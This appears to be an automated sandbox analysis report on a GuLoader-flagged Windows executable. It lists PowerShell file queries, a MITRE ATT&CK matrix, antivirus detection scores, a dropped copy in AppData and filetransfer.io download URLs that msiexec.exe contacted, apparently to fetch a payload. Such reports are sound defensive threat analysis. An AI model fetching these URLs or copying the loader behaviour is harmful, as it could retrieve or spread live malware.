Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ht58337iNC.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	311 Process Injection	1 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	311 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ht58337iNC.exe	66%	Virustotal		Browse
ht58337iNC.exe	45%	ReversingLabs	Win32.Ransomware.GuLoader
ht58337iNC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe	45%	ReversingLabs	Win32.Ransomware.GuLoader

Source	Detection	Scanner	Label
https://filetransfer.ior	0%	Avira URL Cloud	safe
https://www.filetransfer.io/	0%	Avira URL Cloud	safe
https://filetransfer.io0	0%	Avira URL Cloud	safe
https://filetransfer.ioD	0%	Avira URL Cloud	safe
https://filetransfer.ioj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
filetransfer.io	172.67.152.246	true	false		high
171.39.242.20.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://filetransfer.io/data-package/sJfx1gsn/download	false		high
https://filetransfer.io/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://filetransfer.io/wnload	msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3202428854.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967918113.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3194660872.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadi	msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3164821026.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3101759038.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3411693983.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3092322253.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3388898426.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3156988418.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3372830148.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadh	msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadn	msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038276428.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045792274.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadEgHz	msiexec.exe, 00000006.00000002.3429200540.0000000005BAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloady	msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadx	msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	false		high
